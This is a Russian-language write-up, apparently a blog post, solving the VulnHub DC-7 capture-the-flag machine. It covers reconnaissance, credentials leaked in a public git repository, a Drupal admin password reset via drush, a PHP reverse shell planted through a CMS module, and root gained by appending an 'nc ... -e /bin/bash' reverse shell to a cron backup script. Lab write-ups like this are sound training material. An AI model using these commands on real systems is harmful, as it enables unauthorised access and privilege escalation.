Найти в Дзене
B0rn2beR00T

Решение VulnHub (DC-7)

При поднятии машины DC-7 можно увидеть её IP-адрес, присвоенный на интерфейсе eth0. Посмотрим какие порты открыты у этого таска: Портов не так уж и много... Глянем что происходит на 80-м порту для начала. На главной странице нам предлагают мыслить нестандартно… а так же говорят брут якобы заберёт много времени. Спорить с автором не станем. Тыкая во всё подряд находим форму авторизации. Перебор директорий нам особо ничего не дал. В robots.txt никаких подсказок не было. Остаётся ещё просмотр исходного кода. Ещё раз убеждаемся в том, что хост использует Drupal 8 CMS. Возвращаемся на главную страницу и смотрим ещё раз внимательно. В нижней части страницы замечаем что-то похожее на логин к уч. записи. Воспользуемся популярной поисковой машиной) И находим git-репозиторий DC-7User Внутри находим данные к уч. записи dc7user Не подошло… значит это не отсюда Если поизучать код в репозитории детальнее, то можно увидеть логику работы авторизации, в какой алгоритм принимает хэш и какие атрибут
Оглавление

-2

При поднятии машины DC-7 можно увидеть её IP-адрес, присвоенный на интерфейсе eth0.

Разведка

Посмотрим какие порты открыты у этого таска:

-3

Портов не так уж и много... Глянем что происходит на 80-м порту для начала.

-4

На главной странице нам предлагают мыслить нестандартно… а так же говорят брут якобы заберёт много времени. Спорить с автором не станем.

Тыкая во всё подряд находим форму авторизации.

-5

Перебор директорий нам особо ничего не дал. В robots.txt никаких подсказок не было. Остаётся ещё просмотр исходного кода.

-6

Ещё раз убеждаемся в том, что хост использует Drupal 8 CMS.

Возвращаемся на главную страницу и смотрим ещё раз внимательно. В нижней части страницы замечаем что-то похожее на логин к уч. записи.

-7

Воспользуемся популярной поисковой машиной)

-8

И находим git-репозиторий DC-7User

-9

Внутри находим данные к уч. записи dc7user

-10

-11

Не подошло… значит это не отсюда

Если поизучать код в репозитории детальнее, то можно увидеть логику работы авторизации, в какой алгоритм принимает хэш и какие атрибуты есть в БД. В общем, тут есть на что обратить внимание.

Точка входа

Попробуем использовать эти креды к ssh

-12

Мы внутри)

-13

Первое, что находим в домашней директории данного пользователя - это директория с двумя архивами и подозрительный файл mbox.

Рассмотрим mbox.

В файле указана команда CRON, выполняемая от root скрипт бекапа.

-14

Взглянем на скрипт бекапа

-15

Внутри backup.sh замечаем использование drush-команды, а это означает использование оболочки Drupal. Это утилита командной строки, которая используется для связи с drupal CMS.

Потратив кучу времени на изучение данной утилиты, мне удалось найти подходящую команду для сброса пароля для admin.

$drush upwd --password="admin1234" admin

-16

Пароль успешно сброшен!

-17

Теперь можем зайти через панель на admin по нашему новому паролю.

-18

Здесь я ничего лучше обратного шелла придумать не смог. Для его реализации нужно добавить модуль PHP на саму CMS. Раз уж мы admin, то нам никто не запретит этого сделать. Создадим сами себе вектор атаки)

-19

Нажимаем Install new module

-20

Выбираем нужный модуль для загрузки Я нашел этот на оф. сайте Drupal: www.drupal.org/project/php/releases/8.x-1.0

-21

Жмём install

-22

Далее Enable newly added modules

-23

Не забываем нажать галочку с нужным нам модулем и кнопку install внизу.

Нам сразу предложат обновить все модули. Не отказываемся и нажимаем available updates.

Добавим свою страницу с PHP-шеллом из PentestMonkey (указываем адрес своего атакуемого хоста и порт)

-24

Открываем прослушивание по выбранному порту:

-25

Жмём Preview и получаем обратное подключение.

Мы провалились в www-data. Сразу же улучшаем командную оболочку:

$python -c 'import pty; pty.spawn("/bin/bash")'

-26
-27

Зайдем в стрипт бекапа и ещё раз на него взглянем. (Я забыл показать, что теперь у нас есть права на запись в этом файле).

Повышение привилегий

Добавим обратный шелл в скрипт бекапа

$echo "nc 192.168.0.109 9879 -e /bin/bash" >> backups.sh

-28
-29

Мне пришлось ждать около 2-х минут, прослушивая порт

-30

Теперь мы root! Переходим в директорию /root и забираем флаг!

-31
Это моё состояние после этой машинки)
Это моё состояние после этой машинки)

Выводы

Как же я намучался с этой машинкой. Она классная в прохождении, но при неправильном выполнении последних шагов приходилось все откатывать и снова перепроходить все. Были проблемы с сетевыми интерфейсами и даже ova-файл бился. В общем, я её победил и доволен этим)